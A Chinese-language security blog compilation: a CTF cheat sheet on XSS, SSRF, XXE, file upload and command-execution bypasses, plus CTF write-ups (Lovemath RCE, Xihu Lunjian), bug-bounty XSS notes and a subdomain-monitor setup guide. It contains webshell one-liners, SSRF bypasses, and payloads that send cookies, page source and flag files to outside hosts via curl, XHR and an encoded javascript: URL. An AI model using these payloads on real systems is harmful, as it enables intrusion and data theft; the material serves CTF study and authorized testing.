置顶-持续更新中的CTF备忘录

CTF比赛常用-持续更新

反序列化

常识

  • 在反序列化的时候,不会执行__construct里的值
  • 原类中无法控制的private/protected变量,可以自己用构造方法序列化进去
  • 找到反序列化的入口很关键

常见魔法函数

https://www.anquanke.com/post/id/159206

XSS

常识

dom结构

取url中”#”后面的字符串

document.location.hash.substr(1)

编码

&#106=&#0000106

有没有’;’都一样,都是html编码。106是ascii编码值,默认编码格式占7位

各种协议

data

data:text/html

适用于src属性后面,能解析js语句的函数(例如eval,setTimeout)

data:text/html;base64,xxxx

注意点:
1、xxx即恶意payload的base64编码,用console的btoa来编码payload,不要用其它的base64编码

2、还有一种冷门的用法,执行点在charset,前提是需要定义window.text、window.html、window.base64

eval('data:text/html;charset=alert(1);base64,whatever')

这个用法的例子见:https://dee-see.github.io/intigriti/xss/2019/05/02/intigriti-xss-challenge-writeup.html

打页面源码

<svg/onload="document.location='http://ugelgr.ceye.io/?'+btoa(document.body.innerHTML)">

JS发送xml请求

xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
    }
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=xxx");

跨域

可以看总结:https://xz.aliyun.com/t/5084

iframe

当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面另一个没有CSP保护B页面

那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,A页面的CSP防护完全失效
image_1dd8b6jsku4c129k14vflmutk5p.png-59.6kB

Access-control-allow-origin

image_1dajgb6g22h8tli1tdkcjd1f3e9.png-17.1kB

当Access-control-allow-origin指定origin的时候,考虑下面一种情况也可以Bypass CSP(CORS的错误配置):

CSP页面存在缓存记录且“Access-Control-Allow-Origin”已经被设置,但是“Access-Control-Allow-Credentials: true”并且“Vary: Origin”头没有被设置(或者不存在)

可以利用缓存进行XSS->加载远程的JS脚本=>bypass CSP
具体文章可以看这一篇:https://xz.aliyun.com/t/2745#toc-18,未来的CTF很可能有这一方面的考点

SSRF

各种绕过姿势在笔记里有

过滤指定字符串

用unicode编码绕过localhost的限制

LocalHost = localhost = ⓛocaⓛhost 

image_1ddi759agea21r3r1587uju11ch1r.png-21.1kB

IP地址转换绕过

常规的思路

数字地址(十进制):127.0.0.1->2130706433
十六进制:127.0.0.1->0x7F000001或0x7F.00.00.01或0x7F.0x00.0x00.0x01
八进制: 127.0.0.1->0177.0.0.1或0177.00.00.01
省略写法:127.0.0.1->127.1

或者利用xio.io

127.0.0.1.xip.io
www.127.0.0.1.xip.io
xxx.127.0.0.1.xip.io
fuzz.xxx.127.0.0.1.xip.io

骚姿势

之前在吐司学的一招实战用:如果302跳转(准确的说是http协议)禁用IPV4的规则传入,可以用IPV6绕过:

http://[::ffff:127.0.0.1]/
也可以缩写成 http://[::1]/

check内网ip段绕过

php过滤代码如下

    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 

用ip2long和parse_url来check请求是否包含内网ip段,则可以用以下方法绕过

1. http://0.0.0.0/flag.php
2. http://foo@127.0.0.1:80@baidu.com/flag.php
3. http://%5B::%5D:22/

第一种是对于0.0.0.0掩码绕过
第二种白名单是baidu.com,黑名单是127x网段
第三种是绕过主机名探测,用[::]替代127.0.0.1

file协议妙用

我们可以通过 file:///proc/self/cwd/index.php 获得index.php文件。在linux中,每个进程都有一个PID,而/proc/xxx/下存放着与该进程相关的信息(这里的xxx就是PID)。/proc/xxx/下的cwd是软链接,self表示本进程。当我们通过访问Apache运行的网站时,/proc/self/cwd/就相当于apache的根目录,例如我本机Apache的根目录是/var/www/html

image_1ddqj7884117n43j19vu1rgn347p.png-54.3kB

SQL注入

sql语句查询mysql操作日志:http://www.cnblogs.com/jhin-wxy/p/8965888.html

XXE利用

利用报错和外带ood来读取本地文件

image_1def8qqag1frb1pfu1ghq1lkvbhf9.png-81.8kB

利用本地xxe来bypass协议不回显的情况

https://xz.aliyun.com/t/5503

https://www.jishuwen.com/d/2EGU

文件上传

大致思路

1、改content-type?
2、是否存在解析漏洞 .php.xxx
3、是否可以上传其它能解析的后缀?
4、存在二次渲染漏洞?imagecreatfrompng
5、apache2.4是否存在0a换行绕过?
6、htaccess是否可以上传?

妙用.htaccess

apache中的.htaccess

将同目录下的jpg解析为php,文件内容如下

AddType application/x-httpd-php .jpg

文件包含

php伪协议

  • php://input
    image_1d83kt9ffd621pod1p0o62e125m.png-121kB

  • php://filter

    file=php://filter/read=convert.base64-encode/resource=index.php
  • phar://
    image_1d83liset16qc1k5e1bva4j3a7f1t.png-107.3kB

命令执行类

常识

获取flag文件并用Curl协议外带到自己的vps

curl 'http://50.16.48.95/' data "`cat+/flag.txt`"
curl -T ./flag.txt http://50.16.48.95/

命令执行Bypass

过滤关键字

ca\t /f\lag

双引号&分号–复杂变量

PHP复杂变量:https://xz.aliyun.com/t/4785

${system(whoami)}

image_1dcp3bus82rs1ugp15ij1l75121e9.png-79.6kB

常见的过滤bypass

php一句话

绕过<?限制的一句话和php标签限制

<script language="PHP">system($_GET[id])</script>

动态执行函数

1、没有过滤括号
$_GET[1]($_GET[0]);

2、过滤了括号的时候可以用大括号,但是php版本有要求,不过phpstudy没试出来
$_GET{1}($_GET{0});

前端全局变量劫持

前端全局变量劫持

最近看了wonderkun师傅的一篇文章,觉得还挺有意思的,收获颇丰。决定自己复现研究一下,原文地址:前端中存在的变量劫持漏洞

先说一下鸡肋的点,这个变量的劫持也只能是把变量劫持为正常页面的window对象,并不能随意修改变量的值

子页面获取

首先kun师傅介绍了三种父页面获取子页面windows对象的方式:

document.getElementById("iframe1").contentWindow;
window.frames[0]; 
window[0] ;

id值是一个全局变量,下例中test这个”id值”就代表iframe标签。也可以通过直接调用iframe内的name属性值获取该iframe的window对象
image_1df3psct91n0slcp85prp177u9.png-60.3kB

利用filter模式删除变量

无论是javascript还是调用标签,都无法覆盖已经定义的变量,但是却可以定义新的变量。

怎么让页面中出现未定义的全局变量呢?kun师傅提到chrome74之后,默认的xss auditor 从block模式编程了filter模式,可以利用这个删除掉页面中的代码。也就是说我们用一段xss代码触发chrome xss auditor删除xss引用的变量,从而达到替我们删除正常变量的目的。

这里简单介绍一下xss auditor

XSS-Auditor

XSS-Auditor是chrome默认开启的,也可以选择在header中关闭Auditor

X-XSS-Protection: 0

它的检测机制如文档中的描述
image_1df3ue0v61s3a1dcr1spb1dmt12ia1g.png-126.6kB

XSS Auditor采用黑名单方法来识别请求参数中提供的危险字符和标签。它还将查询参数与内容进行匹配以识别注入点。如果查询参数无法与响应中的内容匹配,则不会触发Auditor。

不过文档也有提到,基于上下文的检测的局限性使Auditor无法预防一些针对应用层的payload,这里不做深究。

删除变量demo

<script>var hpdoger = "remove me";</script>

当访问的参数以危险标签的形式出现在response中时,就会触发xss-auditor,成功删除自定义的hpdoger变量。下图可以看到变量被成功删除

http://localhost/iframe.html?xss=%3Cscript%3E%0A%20%20%20%20%20var%20hpdoger%20=%20%22remove%22;%0A%3C/script%3E

image_1df3uoatdojsl0fksa1e3b1nb21t.png-112.7kB

bypass同源之iframe

众所周知,用iframe去加载子页面会被同源限制(除非是cors配置的白名单)
image_1df3vq1ivipk1qo3a383ao1lnd2n.png-93.8kB

如果儿子页面也存在iframe(划重点),先通过操纵孙子c页面window对象来设置location,使其指向父页面a,这样父页面a和子页面b就同源了。之后再修改孙子页面c中window对象的name,其作用结果是:name作用域在子页面b的全局变量。

漏洞场景

这里不重复造轮子了,引用kun师傅的文章:https://xz.aliyun.com/t/5565#toc-4

孙子页面c

任意的页面

子页面b

image_1df5h2g811eg76b3bdo1v0b18dqm.png-53.8kB

父页面a

第一步很关键的一点就是修改c页面的location指向a。之后a页面就可以调用b的变量,同时通过iframe触发b页面的xss auditor
image_1df5grfcl16f71ejc1j5upqr10re9.png-127.5kB

第二步修改孙子页面c的name,从而帮b页面注册一个全局变量名为”hpdoger”
image_1df5h8abti9j1bptl671to1e3213.png-72.1kB

这样就成功替换掉b页面的hpdoger变量,同时a页面也可以访问b页面这个全局变量hpdoger(但是不能访问b的其他变量。因为我们通过c页面做跳板,只能访问c的属性间接访问到b的变量,我叫他”同名法则”)。不过前文也提到了这个鸡肋的地方,就是一个变量替换成window对象,受用面很有限。。

2019国赛Web线上题目Lovemath多解WP

2019国赛Web线上题目Lovemath多解WP

题目质量很不错,这题整整做了七个小时,从一开始想着拿一血到后来的自闭。

题目代码

<?php 
error_reporting(0); 
//听说你很喜欢数学,不知道你是否爱它胜过爱flag 
if(!isset($_GET['c'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['c']; 
    if (strlen($content) >= 80) { 
        die("太长了不会算"); 
    } 
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("请不要输入奇奇怪怪的字符"); 
        } 
    } 
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("请不要输入奇奇怪怪的函数"); 
        } 
    } 
    //帮你算出答案 
    eval('echo '.$content.';'); 

}

解题思路

代码有一个黑名单blacklist&白名单whitelist。黑名单肯定是绕不过去,虽然正则给了/m模式的情况下可以采用换行绕过,但是\r也在封杀范围所以直接pass。注意看whitelist后面的逻辑:正则匹配所有字母,用foreach逐个比对匹配的字母。
image_1d94aluchp6k1a607ht1ml2132q9.png-224.4kB

也就是说只允许Eval使用白名单的函数做字符串

所以思路就很明确,既然参数从白名单出来后被执行,那漏洞点肯定就在白名单的函数。由于正则匹配字母的规则,使我们传入的实参不能是字母,否则就会进入判断如下
image_1d9419hr91e511p621k4l177k1a5726.png-31.6kB

想办法把数字变成字母,再通过eval进行RCE。着眼于函数base_convert,官方描述如下
image_1d94aoodi184tdml1udl7q91b0gm.png-126.9kB

它允许我们将10进制数转换为最高36进制,结果为字符串。完美解决了数字到字母的转化,成功打印phpinfo如下
image_1d94ard4e1orte5mo6a1oj6hjj1j.png-396.7kB

POC-1

因为字符串长度限制,我最开始的想法是这样的:

$input = hexdec(bin2hex("system('cat /flag');"))
$result = base_convert(10进制编码字符串hex2bin,10,36)(dechex($input))

完整转换是这样:

base_convert(37907361743,10,36)(dechex(9148825951463535960001056079872))

但是由于bin2hex后转换出来的16进制数值过大,导致hexdec转换的int值很大无法正常被dechex还原而溢出。在赛后看到一种payload,很聪明的避免了大数溢出的情况,如下

base_convert(47138,20,36)(base_convert(3761671484,13,36)(dechex(474260465194)))

image_1d941nbdm171k17a3lhg16ii1knh3q.png-24.3kB

正好79个字母堪称完美…解码后的调用栈如下
47138->exec

POC-2

这个是看到ROIS队伍师傅的poc

$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})

解码出来是system(getallheaders(){9})

也是很聪明的解法。变量赋值pi减少长度,用getallheaders动态传入参数,之前在code puzzle中见过这样的用法

POC-3

这种就是比赛时我的解法。一种小数还原的思路。我们只需要构造_GET为16进制数,这个16进制转换出来的十进制就不会很大,自然在dechex也不会溢出。Payload如下,注意用白名单的值作为变量参数,否则还是会被waf

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$p){1})

转换的调用栈如下:
image_1d94271vhpqtbtv1mk1v7upa047.png-32.8kB

直接发包给到C参数,成功getflag。
image_1d9427hgv862p0f8bluecra94k.png-83.5kB

西湖论剑2019-Writeup

西湖论剑2019-Writeup

Author:Hpdoger@D0g3

这次比赛的Web题顺序放的很有意思。先放web3、再web2、接着web1来了个bug题被秒。ak了三个web之后本来都出去买奶茶喝了,结果比赛末尾有师傅说上了个web4…好在最后零解23333

Web-3

扫描到DS_Store文件泄露:http://ctf3.linkedbyx.com/11182/DS_Store
image_1d7rcmc741ep8qtr17um15g5v49.png-31.9kB

扫描了一下e1xxx这个自路径发现一处git泄露:
image_1d7rcont5k191lp1131q17k81eri4m.png-38.3kB

访问到github仓库:https://github.com/cumtxujiabin/zip
image_1d7rcp5i018i0sesg9a1oec9g353.png-78.6kB

源码git clone下来看,发现Backup这个zip包需要密码,但是同文件夹下有Index.php和jpg被解压出来了。猜测是已知明文攻击
image_1d7rcsqca1qcl1538t7j1mpti6f60.png-37.5kB

用AR跑了一下得到hint文件
image_1d7s0v7dd1djv10opn7j11jq113cei.png-72.4kB

点开hint有两个提示,

  1. 很明显这个code就是之前首页的参数值
    image_1d7riioviv8dnt21j3g1m6s1l9j6q.png-14.9kB
  2. seed应该暗示着随机数/种子

拿着Code请求得到一个数,结合hint猜测是要用兑换码爆破随机数种子
image_1d7rilc951g6t1idm1qtg1osbjnv77.png-61.2kB

最后跑出来种子+.txt后缀请求得到flag
image_1d7rkjigs14vl1gg9h801mr18onag.png-40kB
image_1d7rkfg2e1enjh0g1kif2lb14ala3.png-23.2kB

略脑洞。。

Web-2

题目环境关了有些无法截图

随便输入账号都能登陆,有留言功能、提交给管理员url的功能和EXEC页面,EXEC我推测是个命令执行但是需要管理员权限,所以应该是XSS->admin->rce。留言位置可以插入标签iframe\img\svg.. 但是过滤掉了等号,会被转译成:),我测试的时候用iframe以base64编码属性就能绕过

<iframe/src="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==

编码内容即<img src=x onerror=alert(1)>,可以弹出对话框,

看到了提交Url处有这么一句话,大致好像是这么说的:管理员会拿着你的token来请求页面,之前还在想管理员怎么请求到我的main(因为我测试可以缓存js文件,可能也是一个方面),但是看到这里就完全不用担心了,直接X一个储值型的标签打COOKIE

但是测试用js uri加载外源js不能成功,打不到cookie。

那么我们可不可以直接src下调用Javascript伪协议执行一段js发送COOKIE到平台呢?用ascii编码html字符去bypass

编码转换+exp如下
image_1d7rllved1r0b1ku31lp717bi3hdat.png-71.2kB

url编码处理一下&、#字符
image_1d7rloelagnr1aib1g56184q16cpba.png-153kB

在平台打到cookie,发现存在admin字段
image_1d7rlvepfab61co61oj45l6nctc4.png-36.5kB

带着admin字段去exec.php执行命令就行了
image_1d7rm2jhs1ijc1t2898epplgch.png-70.5kB

curl+'http://50.16.48.95/'+--data+"`cat+/flag.txt`"

image_1d7rm3mr9ffe1d2gqr93lp1obcu.png-57kB

编码转换的exp如下

# Author:Hpdoger@d0g3

html_old = "javascript:var website='http://xssye/index.php';(function(){(new Image()).src=website+'/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"

buffer = ""

for zimu in html_old:
    zimu = ord(zimu)
    zimu = "&#"+("%07d") % (zimu)
    # print("&#"+zimu)
    buffer = buffer + zimu
print(buffer)

web-1

这题上来就有个提示$_GET[‘file’],打了下etc/passwd有内容

看到有个提示,base64解码之后是,dir.php
image_1d7rmb67sieflmcrj41nmodcsdb.png-66.1kB

请求dir.php,同时fuzz参数,有个dir(其实略脑洞,我只尝试了file、dir、path就出来了。。
image_1d7rmfl1j1rab1ind11sb1ffr1bshdo.png-212.3kB

看到根目录存在ffxxx的文件,直接用file去读
image_1d7rmhg0ls1l3ptm8k29n614e5.png-27.7kB

MISC3 TTL隐写

给了个本文,里面是很多TTL值。hint说隐藏了信息。
image_1d7ttpfr51j1m1jks1rd3bafkqjp.png-31.8kB

在网上找了一下,发现在MISC中有一项技术叫TTL隐写。

大致的隐写流程如下:
将TTL的值转为8位二进制,高位补0,取头两位的二进制。这样4个TTL的值就能取够一个8位的二进制数,再将这个8位的二进制转换为字符(因为一个字符=一个字节=8位二进制)。

这就是成功将字符隐写在TTL值中,所以只需要逆出来取8位还原成字符就行,写了个提取脚本

#! /usr/bin/python3
# Author: Hpdoger@d0g3

count = 0
change_list = []
word_list = ''
zimus = ''

with open("ttls.txt","r") as file:
    for ttl in file.readlines():
        change_list.append(ttl.replace('TTL=',''))
        if len(change_list) == 4:
            for num in change_list:
                num = int(num)
                a = bin(num).replace('0b','')
                b = str("%08d" % int(a))
                infront = b[0:2]
                word_list = word_list + infront


            zimu = int(word_list,2)
            zimus = zimus+chr(zimu)
            word_list = ''
            change_list.clear()
            count = 0

with open('results.txt','w') as file2:
    file2.write(zimus)

转换出来的结果如下
image_1d7tu4dn0ncj1f5s1o7j15641ggr19.png-147.1kB

一看就是16进制,开头ffd8ff是图片头,拖到winhex里还原成图片就行了,最后还原出来4个二维码。

拼接扫描得到:

key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}

维吉尼亚密码解密,得到
flag{2028ab39927df1d96e6a12b03j58002v}
再进行一次字母转换
e->j,e->v
flag{2028ab39927df1d96e6a12b03e58002e}

SRC挖掘初探之随缘XSS挖掘

原文首发于先知社区:https://xz.aliyun.com/t/4625

Author:Hpdoger@D0g3

最近试着去学挖洞,在测某SRC的一些业务时发现以下几个XSS的点。对于一些请求参数在返回的html中以隐蔽的标签形式出现的XSS,感觉还是挺常见的。这里我写了个Bp的插件用来监听请求并捕获这种情况:SuperTags

下面的案例和讨论如果有什么片面或错误的地方,还望师傅们斧正

登陆跳转处XSS

某处登陆页面看了眼表单,同时跟进事件绑定的对象utils
image_1d6vk2rs4g541hq8olo1sf275i1g.png-83kB

直接截出登陆验证部分,redata是响应参数,登陆成功为0。host定义为normal.com。这里发现其实在登陆的时候是可以存在一个cb参数的(但之前我登陆的时候并没有察觉,因为是后台有个功能loginout,点击才会附带cb参数到登录页)

其中,getparam方法如下

getParam: function(c_name) {
    var urlParams = location.href;
    var c_start = urlParams.indexOf(c_name + "=");銆€
    if (c_start != -1) {
        c_start = c_start + c_name.length + 1;銆€
        c_end = urlParams.indexOf("&", c_start);
        if (c_end == -1) {
            c_end = urlParams.length;
        }
        return urlParams.substring(c_start, c_end);
    }else{
        return null;
    }
},

这里开发者还是对cb参数进行了意识形态的过滤,如果cb不包含host则强制重定向首页。但是略鸡肋,直接把host放在注释符后就能绕过。
image_1d6vkg95e1vjv155m1s1n1c7oook3d.png-54.2kB

POC:

cb=javascript:alert(document.cookie);//normal.com

image_1d6vko6a51n64961h1pcd370647.png-127.7kB

Image处的XSS

这是该厂商的一个移动端业务,在我测之前已经有表哥X进去了,看一下这个洞是如何产生的。

功能点:提交问题反馈,可以上传问题图片
image_1d6vivcc51p0mpm5hb61kgqti29.png-76.5kB

漏洞逻辑:
上传图片->提交反馈->服务端拼接提交的img参数(uri)为img标签src属性的完整地址

测试上传一个图片后,点击提交反馈并抓包,imglist参数是刚才上传图片返回的uri地址。
image_1d6vj4nch1a5p118b18ci1gu31olam.png-235.9kB

POST xxxx?q=index/feedback HTTP/1.1

imglist=%2Cpicture%2F2019%2F02%2F22%2F_a948b4eeaca7420cad9d54fdb0331230.jpg&

问题就出在拼接标签这部分,修改imglist参数就可以闭合Src属性进行xss,使最终的img标签执行onerror事件

步骤:抓包修改img路径->拼接恶意js事件,POC:

imglist=urlencode(" onerror="alert(`XSS�`)">

成功弹窗
image_1d6vjv0dfkis172e1mkpd9b78c13.png-78kB

邮件提交处的XSS

在测试某业务的邮箱密码验证时,发现一个包含请求邮箱的页面。

image_1d6vf99vp1smijbq1q9pa1s1sfh2d.png-297.8kB

记得之前看过一篇文章,有些服务在发送完邮件后会弹出一个“邮件已发送+email”的页面导致反射型XSS,感觉就是这种了。

随手测试了一下,发现直接waf了空格、双引号、尖括号,和”"。实体了html编码的尖括号,但是没有实体html编码的双引号。
image_1d6vf627h11u1ru6slc13uu1qqt1j.png-337.5kB

同时在FUZZ的期间多次出现参数错误的请求,发现可能是应用层做了些过滤:

  1. email字符串长度<40且@结尾
  2. 不能同时出现两个双引号、括号
  3. 正则alert(1)\prompt(1)\confim…

不过只要脱离引号就好说,毕竟有很多JS事件可以调。一开始把眼光放在了input标签上测试了一些on事件,发现type是hidden,一些可视on事件都没用的。记得之前看过一个input hidden xss的一个用法是按alt+shift+x触发,poc如下

urlencode(email=&#34/accesskey=&#34X&#34/onclick=&#34alert&#40'xss'&#41&#34@qq.com)

image_1d6vfebe9k0q1704vhff8u16cq2q.png-39kB

但是这个poc很鸡肋。因为要打出cookie的话长度受限,且利用条件苛刻(firefox+按键)

回头看了下发现有form标签也有输出点,最初以为form能执行的JS事件就只有reset和submit,后来测试跑onmounseover也能弹框。

encodeurl(email=&#34/onmouseover=&#34alert&#40document.cookie&#41&#34@qq.com)

image_1d71n2s5m1mnpvbslfj1iatkg99e.png-70.9kB

一个受阻的XSS

在测试某业务时发现一个有趣的参数拼接点:

iframe的src拼接url参数+后端给定的第三方host->iframe加载src

测试了一下特殊字符都给实体化了,但是又舍不得一个iframe
image_1d6vl16bn14i9ihun3ovnvnd4k.png-187.5kB

经过一番寻找,发现第三方服务的登陆点存在JS跳转漏洞,用iframe加载这个第三方服务的dom-xss也能造成弹框效果
image_1d6vleeqr1r4613u81e81cja1m3h5h.png-106.4kB

虽然是在SRC业务站点弹的框,但真正的域应该是子页面的。打印一下COOKIE验证,果然是子页面域的cookie。由于waf掉了document.cookie和javascript:alert,我用了html编码的’:’和八进制js编码的’.’绕过,完整打印子页面域payload如下

https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(document\56cookie)

在进一步的探索中,我做了两个尝试:

  1. 尝试跳一个外域的JS,看能不能把src属性转到这个js
    https://src.com?url=redirect_uri%3Dhttps://evil.com/xss.js
    但是会把资源解析到子页面的document里,而不是src的改变
    image_1d6vm2dvb1ls2185k1hof58miho5u.png-128.4kB
  1. iframe是否能调用父页面的事件呢(document)?如果可以的话我们就直接调js uri把cookie打出去。之所以有这个想法是因为,当时寻思既然站点调用这个三方服务了,很大可能性这个三方站是iframe-src白名单。不过测试后发现依然被跨域限制,测试payload
    https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(window.parent.document\56cookie)
    image_1d6fi5odbg1pnb7nfdgs7ji6p.png-13.7kB

对跨域姿势了解的不多,如果有兴趣的师傅,可以一起来交流一下这种问题

自闭总结

从打ctf到学着去挖洞,还是有一些思维出入的地方,慢慢理解之前师傅们说的资产收集的重要性。

也特别感谢引路人鬼麦子师傅给予的帮助,这里顺便推荐麦子师傅基于爬虫的一款开源子域名监控工具get_domain,在搭建过程中如果遇到环境配置问题,可以参考这篇Ubuntu16.04-Get_domain搭建手册

Ubuntu16.04-子域名监控工具Getdomain环境搭建

Ubuntu16.04-子域名监控Get_domain环境搭建

操作环境:Ubuntu16.04
数据库:Mongdb
项目地址:https://github.com/guimaizi/get_domain

各种依赖安装

sudo apt-get install git python3 python3-pip xvfb unzip libxss1 libappindicator1 libindicator7 -y

sudo pip3 install selenium pymongo

安装mongodb服务端

  1. 添加mongodb签名到APT
    sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv EA312927
  2. 创建/etc/apt/sources.list.d/mongodb-org-3.2.list文件并写入命令
    echo "deb http://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.2 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.2.list
  3. 更新软件源列表
    sudo apt-get update
  4. 安装mongodb(默认是安装稳定版)
    sudo apt-get install -y mongodb-org

配置mongodb服务端

  1. 修改配置文件/etc/mongodb.conf

    修改后的内容如下:
    bind_ip = 0.0.0.0
    port = 27017
    auth=true (添加帐号,密码认证)

    修改后重启mongodb:sudo service mongodb restart

  2. 添加超级用户

    use admin
    db.createUser({user:'admin',pwd:'123456aaa1xsda1A',roles:[{role:'userAdminAnyDatabase',db:'admin'}]})
    db.auth('admin','123456aaa1xsda1A')
  3. 添加扫描器用户

    use target_domain
    db.createUser({user:'target',pwd:'123456aaaxsda1A',roles:[{role:'readWrite',db:'target_domain'}]})
    db.auth('target','123456aaaxsda1A')

安装chromedriver

先安装Chrome浏览器

sudo apt-get install libxss1 libappindicator1 libindicator7
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo dpkg -i google-chrome*.deb
sudo apt-get install -f

再安装chromedriver

wget -N http://chromedriver.storage.googleapis.com/72.0.3626.7/chromedriver_linux64.zip
unzip chromedriver_linux64.zip
chmod +x chromedriver
sudo mv -f chromedriver /usr/local/share/chromedriver
sudo ln -s /usr/local/share/chromedriver /usr/local/bin/chromedriver
sudo ln -s /usr/local/share/chromedriver /usr/bin/chromedriver

安装go-lang

$ sudo apt-get update
$ sudo apt-get -y upgrade
$ wget https://storage.googleapis.com/golang/go1.7.linux-amd64.tar.gz
$ sudo tar -xvf go1.7.linux-amd64.tar.gz
$ sudo mv go /usr/local

设置gopath

vim /etc/profile
export GOROOT=/usr/local/go  #设置为go安装的路径,有些安装包会自动设置默认的goroot
export GOPATH=$HOME/gocode   #默认安装包的路径
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
source /etc/profile

go env看一下是否设置成功

设置Python默认为Python3

文章:https://blog.csdn.net/u011534057/article/details/51615193

使用文章的第二种方法:在系统级修改 Python 版本

下载subfinder

go get github.com/subfinder/subfinder

报错没关系,只要文件里有bin src就行

后续步骤

http://www.guimaizi.com/archives/360的启动说明

crontab定时执行任务:https://www.jianshu.com/p/838db0269fd0

crontab文件如下,每天12点执行:

# everday 12:00 am exec
0 0 17 * * ? python /home/get_domain/while_update.py

注意最后要留个空行

Mongodb操作

更新,否则无法进行对比,更新状态到0

db.getCollection('xxx').update({'state':1},{$set:{'state': NumberInt(0)}},{multi:true})

一直运行random_start

nohup python -u random_start.py > nohup.log 2>&1 &

记得修改random_start的代码为while 1
可以修改五次config,运行五个后台程序

各种报错解决

报错代码127

selenium.common.exceptions.WebDriverException: Message: Service chromedriver unexpectedly exited. Status code was: 127

原因是browser版本过低,跟driver不匹配,升级browser

apt-get install chromium-browser

权限报错

selenium.common.exceptions.WebDriverException: Message: unknown error: Chrome failed to start: exited abnormall

chromedriver在py程序里没权限,修改代码Browser.py

chrome_options.add_argument('--headless')
chrome_options.add_argument('--no-sandbox') 

相关链接

安装mongodb:https://www.jianshu.com/p/5598f1dcbb98

0CTF2019-Web1WriteUp

0CTF Web1

第一次打0ctf,长见识了,各路神仙满天飞..

题目地址:http://111.186.63.207:31337

需要一个karaf认证,直接双写karaf
image_1d6nu1vae155hklkc5e15c41ak99.png-15.3kB

当时组内师傅说有jolokia
image_1d6nu81co9hr1ac74nk2rs1n3um.png-49.8kB

去搜了一下jolokia的洞,看到了Lucifaer师傅的两篇分析文章
https://lucifaer.com/2019/03/11/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%201/#0x05-poc%E6%9E%84%E9%80%A0

https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/#0x04-%E6%9E%84%E9%80%A0poc

大致意思就是,执行器可以调用jolokia的list里类的函数来执行一些操作。可是搜了一下List没有logback可以用,但是题目里很明显提示有karaf,那么是否可以通过控制器的poc安装一个karaf控制台呢?所有karaf的时候有下面这个op

image_1d6qgq8tn1qaa1hhlbr2nl413s11m.png-7.2kB

image_1d6qgok3kjq716kir4b1k1v6as9.png-12kB

最终POC,利用luciafaer师傅的post数据包改造,mbean+op+args

注意content-type:applicatio/json,bp直接发包太坑了

image_1d6num88ikml1pqe1jid1sln1kuh13.png-111.6kB

对“绕过Facebook Token进行CSRF账号接管”的文章解读

浅谈绕过Facebook Token进行CSRF账号接管

今天早上看到Sam大佬推特发了这篇文章,下午就见到先知上有译文了。为什么有译文了还要写这篇文章呢?安全圈的译文你懂的,大部分右键一把梭。

从文章本身来说,还是有比较值得学习的地方,所以摘出来流程分析一下。

原文:https://ysamm.com/?p=185

先知译文: https://xz.aliyun.com/t/4089#toc-5

漏洞关键条件

攻击者有一个oauth认证接口,即漏洞网站可以授权自己的网站

漏洞流程

第二步,即location的Url如下

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=
/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]

next参数为下一步跳转参数,即邮箱绑定后跳转到/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]获取token再redirect到attacker web

总结/修复思考

漏洞新颖的点就在授权后的跳转,这也算是一种突破oauth的新思路。利用信任站点的重定向进行其它oauth的绑定,再携带token二次重定向到attacker web。

